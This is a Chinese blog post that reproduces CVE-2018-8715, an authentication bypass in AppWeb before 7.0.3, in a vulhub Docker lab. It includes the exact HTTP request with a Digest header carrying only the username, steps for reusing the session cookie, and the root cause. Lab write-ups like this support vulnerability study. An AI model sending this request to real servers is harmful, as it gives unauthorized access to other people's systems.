CVE-2018-8715

作者: 3mi1e | 来源:发表于2019-07-21 20:22 被阅读84次

    AppWeb认证绕过漏洞(CVE-2018-8715)

    1.漏洞影响版本

    AppWeb<7.0.3

    2.漏洞危害

    认证绕过

    3.漏洞POC
    部署虚拟机
    cd /root/vulhub/appweb/CVE-2018-8715          ////进入本次复现的vulhub目录
    docker-compose up -d                          ////docker-compose搭建环境
    
    you-ip:8080

    利用该漏洞需要知道一个已存在的用户名,当前环境下用户名为admin。
    构造头Authorization: Digest username=admin,并发送如下数据包:

    GET / HTTP/1.1
    Host: example.com
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Authorization: Digest username=admin
    

    Tips

    上述数据包是认证的时候点击确定,删除其他的认证参数,留下username

    绕过认证,获取session

    两种方法修改cookie,一种使用浏览器插件
    一种使用burpsuite

    第一种永久性

    谷歌浏览器cookie修改工具 火狐浏览器cookie修改工具 修改cookie

    第二种临时性

    bp抓包添加cookie

    以上两种方法均可以绕过登录进行cookie认证

    正常访问
    4.复盘

    漏洞出现原因
    AppWeb可以进行认证配置,其认证方式包括以下三种:
    1.basic 传统HTTP基础认证
    2.digest 改进版HTTP基础认证,认证成功后将使用Cookie来保存状态,而不用再传递Authorization头
    3.form 表单认证
    其7.0.3之前的版本中,对于digest和form两种认证方式,如果用户传入的密码为null(也就是没有传递密码参数),appweb将因为一个逻辑错误导致直接认证成功,并返回session。

    相关文章

      网友评论

        本文标题:CVE-2018-8715

        本文链接:https://www.haomeiwen.com/subject/cbvvlctx.html